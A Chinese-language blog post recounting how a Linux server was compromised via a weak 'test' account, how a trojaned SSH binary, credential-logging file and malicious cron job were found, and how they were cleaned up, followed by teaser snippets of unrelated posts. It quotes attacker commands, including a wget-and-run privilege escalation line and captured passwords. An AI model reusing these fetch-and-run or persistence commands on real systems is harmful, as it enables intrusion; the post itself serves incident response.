通常伺服器安全問題在規模較小的公司常常被忽略，沒有負責安全的專員，尤其是遊戲行業，因為其普遍架構決定了遊戲服通常都是內網進行資料互動，一般埠不對外開放，也因此對安全問題不過於重視。接下來要說的，這是我人生第一次在linux環境中被入侵的經歷，此前只有在windows server上有過多次入侵排查的經驗，不適用於linux環境中，由於自己的經驗缺乏以及安全意識的薄弱，從而沒有及時對已被侵入的伺服器做隔離處理，導致擴散到較多的伺服器，在此斷指三根以示悔恨，哈哈，開玩笑的，在此總結下入侵排查過程以及後續事宜
一、事件回顧
這次的伺服器被入侵是乙個典型的弱密碼導致的入侵事件，由於某人員的疏忽，在某台伺服器上新建了test使用者，且使用同名的弱密碼，以便於除錯工作所需的指令碼工具，就在當天在做指令碼除錯的時候發現了某些異常的錯誤，使用root使用者無法ssh遠端登陸其他伺服器，同時scp命令出現異常無法使用，但其他伺服器可以使用scp將檔案拷貝到該伺服器，之後將問題反饋給運維人員，由我們運維進行排查。
二、排查過程
收到問題反饋，主要涉及ssh相關的問題後，我們運維對該伺服器進行排查，發現使用ssh -v中的openssl版本無法顯示，且輸出的幫助資訊與其他伺服器不一致，然後檢視ssh配置，發現配置檔案（ssh_config和sshd_config）檔案已更新，其內容被全部注釋，這時還沒有意識到被入侵，悲哀+1，起初以為同事對該伺服器做了公升級了ssh版本，後來確認無公升級之類的操作。
1、檢視ssh版本及相關資訊，openssl的版本顯示異常，與其他伺服器對比，幫助資訊顯示方式有所不同
2、檢視ssh程序及其相關檔案，ssh和sshd程序檔案已更新，ssh_config和sshd_config配置檔案已更新，配置檔案內容全部注釋，ssh_host_key和ssh_host_key.pub為新增的檔案，其他伺服器沒有這兩個檔案
3、繼續排查，將一台正確的配置檔案覆蓋至該伺服器，重啟ssh服務後，使用ssh命令發現無法識別該配置檔案中的引數（到這裡其實應該發現ssh程序檔案已被篡改，使用md5sum做比對即可）
4、由於其他工作事務需要及時處理，排查這個事情就被擱置了，直至之後的yy討論問題拿出來詢問了下大神，才意識到有被入侵的可能
5、詢問操作過該伺服器的同事，此前正在除錯指令碼工具，新增了test使用者，得知其密碼為test
$ cat /etc/passwd | grep test
test:x:1005:1005::/home/test:/bin/bash
$ su - test
$ history
50 wget +x perf; ./perf # 非同事操作的可疑命令，在虛擬機器上測試，發現可以無需命令即可獲得root許可權
$ w # 無法檢視到當前登入使用者（請忽略我跳躍的思維）
$ cat /usr/include/netda.h # 找到乙個使用者登入就記錄其密碼的檔案（某大神找到的）
+user: bin +password: worlddomination
+user: test +password: tf4eygu4@#$ds
8、又在另外一台伺服器上部署了一套可疑的程式，估計是作為肉雞功能
$ sudo crontab -e
* * * * * /usr/include/statistics/update >/dev/null 2>&1
# 原有的cron任務已被清空，僅有該條可疑任務
三、清理工作
1、緊急修復清理
將準備好的正常的ssh相關檔案上傳至被入侵伺服器的/tmp目錄下
1）檢視並修改屬性
$ sudo lsattr /usr/bin/ssh
-u--ia-------e- /usr/bin/ssh
$ sudo chattr -ia /usr/bin/ssh # 修改屬性以保證檔案可被覆蓋
$ sudo lsattr /usr/sbin/sshd
-u-----------e- /usr/sbin/sshd
$ sudo cp /tmp/ssh /usr/bin/ # 將ssh程序檔案覆蓋恢復
$ sudo cp /tmp/*_config /etc/ssh/ # 將配置檔案覆蓋恢復
$ sudo rm /etc/ssh/ssh_host_key* # 刪除新增的可疑檔案
$ sudo crontab -e # sshd無法覆蓋，使用cron方式解決
30 3 * * * pkill -9 sshd; cp /tmp/sshd /usr/sbin/; /etc/init.d/ssh restart
$ sudo rm /usr/include/netda.h
$ sudo kill -9 $(cat /usr/include/statistics/mech.pid)
$ [ -d /usr/include/statistics ] && sudo rm /usr/include/statistics
$ sudo /etc/init.d/cron restart
1）修改所有涉及的伺服器的賬戶密碼，之後其他使用同類密碼的伺服器也需改掉
2）配置防火牆策略，只允許公司外網ip可ssh訪問伺服器
3）對於被入侵過的伺服器系統後期逐步重做系統，避免存在未清理的後門
寫在最後：
此次的遭受攻擊，問題主要是運維安全意識較差，以及防火牆策略比較鬆散，為了便於遠端工作，像ssh埠未做限制，伺服器幾乎是裸奔的狀態。經過此番折騰，也對伺服器安全方面做了一次警示，需加強防禦工作，同時也了解到典型的ssh後門功能：其一是超級密碼隱身登陸；其二是記錄登陸的賬號密碼。後續還需制定一系列入侵檢測機制，以防再次出現入侵事故。
一次烏龍的SSH攻擊處理
freebsd有個很好的功能就是每天會自動給root使用者發兩封郵件，一封是日常報告，一封是安全報告。我一般都會把這個郵件 到自己的郵箱，這樣每天就可以在手機上關注一下系統狀態了。前幾天在手機上看每日安全報告時發現家裡的伺服器有大量失敗的ssh登入，回電腦上登上去一看 grep error auth...
記一次資料越界的事
最近在作乙個基於聯盛德的 w600晶元進行ayla雲移植時，用到了作業系統的tick獲取，獲取函式如下 u32 clock ms void else return ms 測試 現了奇怪的問題，系統走著走著就不發心跳包了，最後跟蹤後發現是上面這個函式返回的值突然變零 我們預想上面的返回值會一直增加，至...
記錄一次redis 被挖礦的經歷
專案加入redis,伺服器redis 剛開始想著先全部開發訪問，等快上線了再配置密碼什麼的。沒想到第二天就中招了額。好吧，剛開始查了cpu占有率特高，然後redis 多出bakeup1 bakeup 2.刪除了，再出現。於是就找到了問題的根源了。redis 被挖礦了。第一步，先在 root ssh ...